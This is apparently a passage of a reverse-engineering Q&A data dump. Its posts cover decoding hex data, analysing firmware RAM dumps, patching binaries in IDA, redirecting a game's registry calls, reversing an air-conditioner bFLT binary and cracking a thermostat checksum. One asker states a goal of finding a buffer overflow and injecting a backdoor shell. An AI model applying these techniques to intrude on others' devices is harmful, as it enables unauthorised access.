c3 15 02 79 20 11 38 1f c6 60 04 32 00 a0 a6 10 29&#xA;&quot;t&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 96 c0 15 02 79 20 11 38 1f c6 60 04 32 00 a0 cc 10 2a&#xA;&quot;u&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 96 c2 15 02 79 20 11 38 1f c6 60 04 32 00 a0 f2 10 2b&#xA;&quot;v&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 96 c1 15 02 79 20 11 38 1f c6 60 04 32 00 a1 18 10 2c&#xA;&quot;w&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 96 c3 15 02 79 20 11 38 1f c6 60 04 32 00 a1 3e 10 2d&#xA;&quot;x&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 56 c0 15 02 79 20 11 38 1f c6 60 04 32 00 a1 64 10 2e&#xA;&quot;y&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 56 c2 15 02 79 20 11 38 1f c6 60 04 32 00 a1 8a 10 2f&#xA;&quot;z&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 56 c1 15 02 79 20 11 38 1f c6 60 04 32 00 a1 b0 10 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above we have the quoted-contents of the stored query (left) and the BLOB data converted to hex (right).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the contents is unaltered, so let's start by trimming the strings down to strictly the bytes that change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;A&quot;     ...   3a c2   ...   99 3a 0f f7&#xA;&quot;B&quot;     ...   3a c1   ...   99 60 0f f8&#xA;&quot;C&quot;     ...   3a c3   ...   99 86 0f f9&#xA;&quot;D&quot;     ...   ba c0   ...   99 ac 0f fa&#xA;&quot;E&quot;     ...   ba c2   ...   99 d2 0f fb&#xA;&quot;F&quot;     ...   ba c1   ...   99 f8 0f fc&#xA;&quot;G&quot;     ...   ba c3   ...   9a 1e 0f fd&#xA;&quot;H&quot;     ...   7a c0   ...   9a 44 0f fe&#xA;&quot;I&quot;     ...   7a c2   ...   9a 6a 0f ff&#xA;&quot;J&quot;     ...   7a c1   ...   9a 90 10 00&#xA;&quot;K&quot;     ...   7a c3   ...   9a b6 10 01&#xA;&quot;L&quot;     ...   fa c0   ...   9a dc 10 02&#xA;&quot;M&quot;     ...   fa c2   ...   9b 02 10 03&#xA;&quot;N&quot;     ...   fa c1   ...   9b 28 10 04&#xA;&quot;O&quot;     ...   fa c3   ...   9b 4e 10 05&#xA;&quot;P&quot;     ...   06 c0   ...   9b 74 10 06&#xA;&quot;Q&quot;     ...   06 c2   ...   9b 9a 10 07&#xA;&quot;R&quot;     ...   06 c1   ...   9b c0 10 08&#xA;&quot;S&quot;     ...   06 c3   ...   9b e6 10 09&#xA;&quot;T&quot;     ...   86 c0   ...   9c 0c 10 0a&#xA;&quot;U&quot;     ...   86 c2   ...   9c 32 10 0b&#xA;&quot;V&quot;     ...   86 c1   ...   9c 58 10 0c&#xA;&quot;W&quot;     ...   86 c3   ...   9c 7e 10 0d&#xA;&quot;X&quot;     ...   46 c0   ...   9c a4 10 0e&#xA;&quot;Y&quot;     ...   46 c2   ...   9c ca 10 0f&#xA;&quot;Z&quot;     ...   46 c1   ...   9c f0 10 10&#xA;&quot;a&quot;     ...   26 c2   ...   9d fa 10 17&#xA;&quot;b&quot;     ...   26 c1   ...   9e 20 10 18&#xA;&quot;c&quot;     ...   26 c3   ...   9e 46 10 19&#xA;&quot;d&quot;     ...   a6 c0   ...   9e 6c 10 1a&#xA;&quot;e&quot;     ...   a6 c2   ...   9e 92 10 1b&#xA;&quot;f&quot;     ...   a6 c1   ...   9e b8 10 1c&#xA;&quot;g&quot;     ...   a6 c3   ...   9e de 10 1d&#xA;&quot;h&quot;     ...   66 c0   ...   9f 04 10 1e&#xA;&quot;i&quot;     ...   66 c2   ...   9f 2a 10 1f&#xA;&quot;j&quot;     ...   66 c1   ...   9f 50 10 20&#xA;&quot;k&quot;     ...   66 c3   ...   9f 76 10 21&#xA;&quot;l&quot;     ...   e6 c0   ...   9f 9c 10 22&#xA;&quot;m&quot;     ...   e6 c2   ...   9f c2 10 23&#xA;&quot;n&quot;     ...   e6 c1   ...   9f e8 10 24&#xA;&quot;o&quot;     ...   e6 c3   ...   a0 0e 10 25&#xA;&quot;p&quot;     ...   16 c0   ...   a0 34 10 26&#xA;&quot;q&quot;     ...   16 c2   ...   a0 5a 10 27&#xA;&quot;r&quot;     ...   16 c1   ...   a0 80 10 28&#xA;&quot;s&quot;     ...   16 c3   ...   a0 a6 10 29&#xA;&quot;t&quot;     ...   96 c0   ...   a0 cc 10 2a&#xA;&quot;u&quot;     ...   96 c2   ...   a0 f2 10 2b&#xA;&quot;v&quot;     ...   96 c1   ...   a1 18 10 2c&#xA;&quot;w&quot;     ...   96 c3   ...   a1 3e 10 2d&#xA;&quot;x&quot;     ...   56 c0   ...   a1 64 10 2e&#xA;&quot;y&quot;     ...   56 c2   ...   a1 8a 10 2f&#xA;&quot;z&quot;     ...   56 c1   ...   a1 b0 10 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even though this is a fairly large sample of characters (though of course not all 256 ASCII characters) I can't really see a pattern between any of the rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to look at the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;A&quot;     ...   3a c2   ...   99 3a 0f f7    |    &quot;a&quot;     ...   26 c2   ...   9d fa 10 17&#xA;&quot;B&quot;     ...   3a c1   ...   99 60 0f f8    |    &quot;b&quot;     ...   26 c1   ...   9e 20 10 18&#xA;&quot;C&quot;     ...   3a c3   ...   99 86 0f f9    |    &quot;c&quot;     ...   26 c3   ...   9e 46 10 19&#xA;&quot;D&quot;     ...   ba c0   ...   99 ac 0f fa    |    &quot;d&quot;     ...   a6 c0   ...   9e 6c 10 1a&#xA;&quot;E&quot;     ...   ba c2   ...   99 d2 0f fb    |    &quot;e&quot;     ...   a6 c2   ...   9e 92 10 1b&#xA;&quot;F&quot;     ...   ba c1   ...   99 f8 0f fc    |    &quot;f&quot;     ...   a6 c1   ...   9e b8 10 1c&#xA;&quot;G&quot;     ...   ba c3   ...   9a 1e 0f fd    |    &quot;g&quot;     ...   a6 c3   ...   9e de 10 1d&#xA;&quot;H&quot;     ...   7a c0   ...   9a 44 0f fe    |    &quot;h&quot;     ...   66 c0   ...   9f 04 10 1e&#xA;&quot;I&quot;     ...   7a c2   ...   9a 6a 0f ff    |    &quot;i&quot;     ...   66 c2   ...   9f 2a 10 1f&#xA;&quot;J&quot;     ...   7a c1   ...   9a 90 10 00    |    &quot;j&quot;     ...   66 c1   ...   9f 50 10 20&#xA;&quot;K&quot;     ...   7a c3   ...   9a b6 10 01    |    &quot;k&quot;     ...   66 c3   ...   9f 76 10 21&#xA;&quot;L&quot;     ...   fa c0   ...   9a dc 10 02    |    &quot;l&quot;     ...   e6 c0   ...   9f 9c 10 22&#xA;&quot;M&quot;     ...   fa c2   ...   9b 02 10 03    |    &quot;m&quot;     ...   e6 c2   ...   9f c2 10 23&#xA;&quot;N&quot;     ...   fa c1   ...   9b 28 10 04    |    &quot;n&quot;     ...   e6 c1   ...   9f e8 10 24   &#xA;&quot;O&quot;     ...   fa c3   ...   9b 4e 10 05    |    &quot;o&quot;     ...   e6 c3   ...   a0 0e 10 25&#xA;&quot;P&quot;     ...   06 c0   ...   9b 74 10 06    |    &quot;p&quot;     ...   16 c0   ...   a0 34 10 26&#xA;&quot;Q&quot;     ...   06 c2   ...   9b 9a 10 07    |    &quot;q&quot;     ...   16 c2   ...   a0 5a 10 27&#xA;&quot;R&quot;     ...   06 c1   ...   9b c0 10 08    |    &quot;r&quot;     ...   16 c1   ...   a0 80 10 28&#xA;&quot;S&quot;     ...   06 c3   ...   9b e6 10 09    |    &quot;s&quot;     ...   16 c3   ...   a0 a6 10 29&#xA;&quot;T&quot;     ...   86 c0   ...   9c 0c 10 0a    |    &quot;t&quot;     ...   96 c0   ...   a0 cc 10 2a&#xA;&quot;U&quot;     ...   86 c2   ...   9c 32 10 0b    |    &quot;u&quot;     ...   96 c2   ...   a0 f2 10 2b&#xA;&quot;V&quot;     ...   86 c1   ...   9c 58 10 0c    |    &quot;v&quot;     ...   96 c1   ...   a1 18 10 2c&#xA;&quot;W&quot;     ...   86 c3   ...   9c 7e 10 0d    |    &quot;w&quot;     ...   96 c3   ...   a1 3e 10 2d&#xA;&quot;X&quot;     ...   46 c0   ...   9c a4 10 0e    |    &quot;x&quot;     ...   56 c0   ...   a1 64 10 2e&#xA;&quot;Y&quot;     ...   46 c2   ...   9c ca 10 0f    |    &quot;y&quot;     ...   56 c2   ...   a1 8a 10 2f&#xA;&quot;Z&quot;     ...   46 c1   ...   9c f0 10 10    |    &quot;z&quot;     ...   56 c1   ...   a1 b0 10 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interestingly the 2nd byte of the first altering section appears to be consistent across all A-Z and a-z. The 1st byte however only shares a moderate pattern though P-Z and p-z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final altering sections seem almost like completely arbitrary characters. Perhaps one part is a key and the other part is an encoded/encrypted character?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also briefly took a look at the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;a&quot;     ...   26 c2 15 02 79 20 11         ...   9d fa 10 17&#xA;&quot;aa&quot;    ...   25 32 24 c2 95 02 f9 20 31   ...   c0 c5 10 79&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's where I stopped researching... I am yet to spot the pattern which links all this data together. I can't help but feel there is an easier way to solve this mystery but I currently just lack the knowledge to obtain the answer.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can anyone suggest a better method of cracking this code?&lt;/li&gt;&#xA;&lt;li&gt;What data will I need to crack the code? Fortunately I can just mass produce this data... &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18562" LastActivityDate="2016-12-27T00:50:29.147" Title="Decrypting/Decoding encrypted/encoded data" Tags="|encryption|encodings|cryptography|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14254" PostTypeId="2" ParentId="14234" CreationDate="2016-12-27T07:39:35.167" Score="5" Body="&lt;p&gt;The only idea I have is to compare the dumps. The places that are same in all dumps are code or read only data. The places that are changing from dump to dump are either stack or section like &lt;code&gt;.bss&lt;/code&gt;. After finding places that are not changing I'd try to disassemble these places in order to divide between code and data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that the places with the code should have higher entropy then places with the data but I can not prove it formally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition you probably should take in consideration the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a possibility that executed code comes from flash and is executed from from the flash directly. The code in RAM may be not complete.&lt;/li&gt;&#xA;&lt;li&gt;There is a possibility that the code is unpacking itself during startup. I've seen such a things with &lt;code&gt;itcm&lt;/code&gt; and &lt;code&gt;dtcm&lt;/code&gt; memory areas.&lt;/li&gt;&#xA;&lt;li&gt;There are memory mapped registers, intended to work with different devices, so you'll probably see a lot of accesses to these memory areas. The best way to find the information about these addresses is to find a datasheet and read it carefully, it probably contains the memory map of the system.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Generally speaking I'm not pretty sure that working with RAM is the best solution, and if I'd be tasked with such a thing I'd try to solder out the flash memory with initial image, read it and reverse engineer it statically.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-12-27T07:49:36.523" LastActivityDate="2016-12-27T07:49:36.523" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14256" PostTypeId="1" CreationDate="2016-12-27T13:34:15.303" Score="2" ViewCount="367" Body="&lt;p&gt;I created small C program (x86) with this asm code inside main:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__asm&#xA;{&#xA;    jmp label       // EB 02&#xA;    nop             // 90&#xA;    nop             // 90&#xA;}&#xA;label:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Loaded it in IDA (in static mode, so it will use preferred base address), looked for address of &lt;code&gt;jmp label&lt;/code&gt; and subtracted virtual address of code section (can be quickly seen in PE explorer). Then I found file offset in executable and patched it, so &lt;code&gt;EB 02 90 90&lt;/code&gt; code sequence became relative unconditional jump &lt;code&gt;66 E9 &amp;lt;16bit offset to program entry point&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I am not trying to do something, I just wanted to see how IDA will respond. IDA recognizes the address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp short start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put breakpoint on first instruction from entry point, once it got hit I resume. To my surprise IDA seems to loose track of instruction pointer (or jumps to different location) and some weird things happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I tried relative jump outside code section, IDA behaved the same way and I thought it might be something about checking boundaries of code section. But technically we can execute code outside of code section, all we need to do is just put code bytes in global array, manually mark section that contains initialized data as executable and use relative jumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that IDA does not handle obfuscated binaries. Has it something to do with it? Can someone explain why IDA refuses to follow control flow in this case? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18568" LastActivityDate="2016-12-27T13:34:15.303" Title="IDA does not follow relative jump, executable patching" Tags="|ida|patching|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14257" PostTypeId="1" AcceptedAnswerId="14259" CreationDate="2016-12-27T14:46:32.203" Score="2" ViewCount="887" Body="&lt;p&gt;I have a game on my PC that reads and writes registry keys and values to the HKLM hive. I am trying to see if it is possible to modify the game so that it uses the HKCU hive instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code for this game isn't available so I am trying to disassemble the game binary and see if the assembly can be modified to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am seeing sections like this in PE Explorer but I can't figure out what parts of it are used to target the HKLM hive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; L004036E0:&#xA;        lea eax,[esp+1Ch]&#xA;        lea ecx,[esp+08h]&#xA;        push    eax&#xA;        push    00020019h&#xA;        push    ebx&#xA;        call    SUB_L00401F70&#xA;        push    eax&#xA;        push    80000002h&#xA;        call    [ADVAPI32.dll!RegOpenKeyExA]&#xA;        cmp eax,ebx&#xA;        jnz L004037E9&#xA;        lea ecx,[esp+14h]&#xA;        lea edx,[esp+000000A0h]&#xA;        push    ecx&#xA;        mov ecx,[esp+20h]&#xA;        lea eax,[esp+1Ch]&#xA;        push    edx&#xA;        push    eax&#xA;        push    ebx&#xA;        push    SSZ00413090_InstallPath&#xA;        push    ecx&#xA;        mov dword ptr [esp+2Ch],00000104h&#xA;        call    [ADVAPI32.dll!RegQueryValueExA]&#xA;        cmp eax,ebx&#xA;        jnz L004037E9&#xA;        cmp dword ptr [esp+18h],00000001h&#xA;        jnz L004037E9&#xA;        lea edx,[esp+000000A0h]&#xA;        push    0000005Ch&#xA;        push    edx&#xA;        lea esi,[esp+000000A8h]&#xA;        call    SUB_L00406310&#xA;        add esp,00000008h&#xA;        cmp eax,ebx&#xA;        jz  L00403775&#xA; L00403763:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18565" LastActivityDate="2016-12-30T14:42:29.223" Title="Modify program's registry accesses from HKLM to HKCU in assembly" Tags="|disassembly|windows|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14258" PostTypeId="2" ParentId="14257" CreationDate="2016-12-27T15:04:01.463" Score="2" Body="&lt;p&gt;If you check signature of &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms724897(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RegOpenKeyExA&lt;/code&gt;&lt;/a&gt; you clearly see that the  first argument is the HKEY. Since the method is defined as &lt;code&gt;WINAPI&lt;/code&gt; (&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/zxk0tw93(v=vs.110).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;_stdcall&lt;/a&gt;) it will be the first argument passed before the &lt;code&gt;call&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also by checking the HKEY values defined in &lt;code&gt;WinReg.h&lt;/code&gt; in Windows SDK can show you that this is the correct assumption as 0x80000002 is defined as HKEY_LOCAL_MACHINE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define HKEY_CLASSES_ROOT                   (( HKEY ) (ULONG_PTR)((LONG)0x80000000) )&#xA;#define HKEY_CURRENT_USER                   (( HKEY ) (ULONG_PTR)((LONG)0x80000001) )&#xA;#define HKEY_LOCAL_MACHINE                  (( HKEY ) (ULONG_PTR)((LONG)0x80000002) )&#xA;#define HKEY_USERS                          (( HKEY ) (ULONG_PTR)((LONG)0x80000003) )&#xA;#define HKEY_PERFORMANCE_DATA               (( HKEY ) (ULONG_PTR)((LONG)0x80000004) )&#xA;#define HKEY_PERFORMANCE_TEXT               (( HKEY ) (ULONG_PTR)((LONG)0x80000050) )&#xA;#define HKEY_PERFORMANCE_NLSTEXT            (( HKEY ) (ULONG_PTR)((LONG)0x80000060) )&#xA;#if(WINVER &amp;gt;= 0x0400)&#xA;#define HKEY_CURRENT_CONFIG                 (( HKEY ) (ULONG_PTR)((LONG)0x80000005) )&#xA;#define HKEY_DYN_DATA                       (( HKEY ) (ULONG_PTR)((LONG)0x80000006) )&#xA;#define HKEY_CURRENT_USER_LOCAL_SETTINGS    (( HKEY ) (ULONG_PTR)((LONG)0x80000007) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2016-12-27T15:04:01.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14259" PostTypeId="2" ParentId="14257" CreationDate="2016-12-27T16:04:24.790" Score="3" Body="&lt;p&gt;You are looking to identify all calls to RegCreateKey/Ex and RegOpenKey/Ex calls, then check their first parameter, then change it to HKCU integer definition (0x80000001) instead of HKLM (0x80000002).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above, you quite clearly see it push the first parameter to RegOpenKeyExA, 0x80000002. So, you just change those to 0x80000001.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2016-12-30T14:42:29.223" LastActivityDate="2016-12-30T14:42:29.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14261" PostTypeId="1" AcceptedAnswerId="14263" CreationDate="2016-12-27T22:05:44.737" Score="1" ViewCount="1911" Body="&lt;p&gt;A couple of days ago I bought an air conditioner.&#xA;The system has a wireless module. By analyzing the ports, I could see that port 22 is open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have obtained the file that is responsible for managing the connection with the outside and internally (the interface).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is of type &lt;em&gt;BFLT executable - version 4 ram&lt;/em&gt;. Here is more detailed information. &lt;em&gt;(extracted from radare)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;type    bFLT (Executable file)      class      bflt&#xA;file    backupServer                arch       arm&#xA;fd          6                       bits        32&#xA;size     0x3d804                    machine   unknown&#xA;iorw t     true                     os         Linux&#xA;blksz      0x0                      minopsz     4&#xA;mode       -r--                     maxopsz     4&#xA;block     0x100                     pcalign     4&#xA;format    bflt                      subsys     Linux&#xA;havecode  true                      endian    little&#xA;pic       false                     stripped   false&#xA;canary    false                     static     true&#xA;nx        false                     linenum    false&#xA;crypto    false                     lsyms      false&#xA;va        false                     relocs     false&#xA;bintype   bflt                      binsz     251908&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This file I have been able to virtualize with &lt;em&gt;qemu-arm&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the BFLT files there is a section containing all the string and using IDA Pro with the bfltldr plugin to relocate the strings. For debugging I have used the architecture &lt;em&gt;arm litte endian generic&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analyzing the application with IDA Pro, I was able to observe that it expects from the outside some commands with a format and some parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The parameters I have but the arguments do not as it is complicated to debug without having any kind of information about the name of each function.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operating system used by the application I think is &lt;em&gt;GNU/Linux&lt;/em&gt; or a variant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to analyze the arguments and parameters that are passed via socket to try to find some vulnerability (buffer overflow, ...) and inject a shell to open a backdoor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem I have is that I find it costly to debug the application since in IDA Pro are the memory addresses in the functions and I would like to know if there is any change memory addresses, by the names of known functions of the GNU/Linux.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="18570" LastActivityDate="2016-12-28T00:55:47.677" Title="Reverse a BFLT file" Tags="|ida|disassembly|arm|qemu|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14262" PostTypeId="1" CreationDate="2016-12-27T21:43:21.907" Score="13" ViewCount="559" Body="&lt;p&gt;I am trying to reverse engineer an AC Indoor unit &amp;lt;-&gt; thermostat communication. So far I've succeeded in parsing the bits and bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered that the upper and lower nibbles need to be reversed to get consecutive values for temperature values, for example, so I assume that part is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the unit sends the payload twice, so I assume the values are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I am trying to calculate the checksum of the received values, but I cannot find a pattern that results in a matching checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did notice that value change of &lt;code&gt;0x01&lt;/code&gt; raises the checksum by &lt;code&gt;0x10&lt;/code&gt;, so I tried reversing each value and sum them up, but that did not provide the expected result. On the other hand, changing &lt;code&gt;0x10&lt;/code&gt; to &lt;code&gt;0x30&lt;/code&gt; does not affect the checksum at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some of the received bytes (received twice like this):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vent hex: 09 da d1 04 01 00 44 13 a4 09 00 40 10 04 01 1d &#xA;&#xA;cool hex: 09 d8 d1 04 01 00 40 17 a4 09 00 40 10 04 01 6a &#xA;&#xA;ai   hex: 09 de d1 04 01 01 40 17 a4 09 00 40 10 04 01 7c &#xA;&#xA;dehumhex: 09 dc d1 04 01 00 40 15 24 09 00 40 10 04 01 5a &#xA;&#xA;heat hex: 09 d9 d1 04 01 01 40 17 a4 f1 00 40 10 04 01 4c &#xA;&#xA;hex: 2a d7 10 04 01 00 40 10 04 01 00 48 14 7c 09 78 1=0001&#xA;&#xA;hex: 2a d7 30 04 01 00 40 10 04 01 00 48 14 7c 09 78 3=0011&#xA;&#xA;hex: 2a d7 50 04 01 00 40 10 04 01 00 48 14 7c 09 79 5=0101&#xA;&#xA;hex: 2a d7 70 04 01 00 40 10 04 01 00 48 14 7c 09 79 7=0111&#xA;&#xA;hex: 2a d7 90 04 01 00 40 10 04 01 00 48 14 7c 09 7a 9=1001&#xA;&#xA;hex: 2a d7 b0 04 01 00 40 10 04 01 00 48 14 7c 09 7a B=1011&#xA;&#xA;hex: 2a d7 d0 04 01 00 40 10 04 01 00 48 14 7c 09 7b D=1101&#xA;&#xA;hex: 2a d7 f0 04 01 00 40 10 04 01 00 48 14 7c 09 7b F=1111&#xA;&#xA;hex: 2a d6 10 04 01 00 40 10 04 01 00 48 14 7c 09 7c&#xA;&#xA;hex: 2a d6 30 04 01 00 40 10 04 01 00 48 14 7c 09 7c&#xA;&#xA;hex: 2a d6 70 04 01 00 40 10 04 01 00 48 14 7c 09 7d&#xA;&#xA;hex: 2a d6 50 04 01 00 40 10 04 01 00 48 14 7c 09 7d&#xA;&#xA;hex: 2a d6 b0 04 01 00 40 10 04 01 00 48 14 7c 09 7e&#xA;&#xA;hex: 2a d6 d0 04 01 00 40 10 04 01 00 48 14 7c 09 7f&#xA;&#xA;hex: 2a d6 f0 04 01 00 40 10 04 01 00 48 14 7c 09 7f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is some parsed output of a temperature decrease with the reversed payload(rhex):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;source: 09  head 110 mode 38 modeb 11001 fan 0 bfan: 000 unkownb: 1000&#xA;&#xA;swing: 4 bswing 00000100&#xA;&#xA;plasma 1 tempStart: 0001 temp: 90 tempStop: 010 airclean 1&#xA;&#xA;unkown: 01 01 44  splayload: e9  rest: 00 40 10 04 01  chksum: 2a&#xA;&#xA;hex: 09 d9 11 04 01 01 44 15 a5 e9 00 40 10 04 01 2a&#xA;&#xA;rhex 90 9b 88 20 80 80 22 a8 a5 97 00 02 08 20 80 54&#xA;&#xA;source: 09  head 110 mode 38 modeb 11001 fan 0 bfan: 000 unkownb: 1000&#xA;&#xA;swing: 4 bswing 00000100&#xA;&#xA;plasma 1 tempStart: 0001 temp: 88 tempStop: 010 airclean 1&#xA;&#xA;unkown: 01 01 44  splayload: e9  rest: 00 40 10 04 01  chksum: 6a&#xA;&#xA;hex: 09 d9 11 04 01 01 44 11 a5 e9 00 40 10 04 01 6a&#xA;&#xA;rhex 90 9b 88 20 80 80 22 88 a5 97 00 02 08 20 80 56&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe somebody can give me a hint in the right direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The test setup is running in Python on a Raspberry Pi.&lt;/p&gt;&#xA;" OwnerUserId="18574" OwnerDisplayName="stinger151" LastEditorUserId="28632" LastEditDate="2019-06-07T06:04:17.070" LastActivityDate="2020-04-30T15:44:47.133" Title="Problems calculating checksum for AirConditioner" Tags="|firmware|binary-diagnosis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14263" PostTypeId="2" ParentId="14261" CreationDate="2016-12-28T00:55:47.677" Score="2" Body="&lt;p&gt;bFLT format is used in uCLinux systems and its executables use one of two approaches to make system calls:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Statically linked libc (uClibc). In this case you should see explicit syscalls (SVC instructions) in the code. Depending on the age of the system the will be using either Old ABI (with syscall number encoded as the operand of the SVC instruction) or the new ABI(EABI) with syscall number in R7. You can look up syscall numbers e.g. &lt;a href=&quot;https://w3challs.com/syscalls/?arch=arm_strong&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Libc in a shared library. I have never seen it myself but it seems uCLinux does support shared libraries loaded at fixed addresses. So you may see calls to apparently unmapped addresses where the libc is supposed to be loaded. In this case you may need to disassemble the libc binary as well to label the functions using syscalls and then match against the calls in the binary. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In either case I would suggest you installing or building an uCLinux toolchain and compiling a few helloworld binaries with it. The nice thing about it is that the bFLT is produced from an ELF as the final step so you can compare the ELF with all symbols against the bFLT which should give you some clues how to handle your target. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-28T00:55:47.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
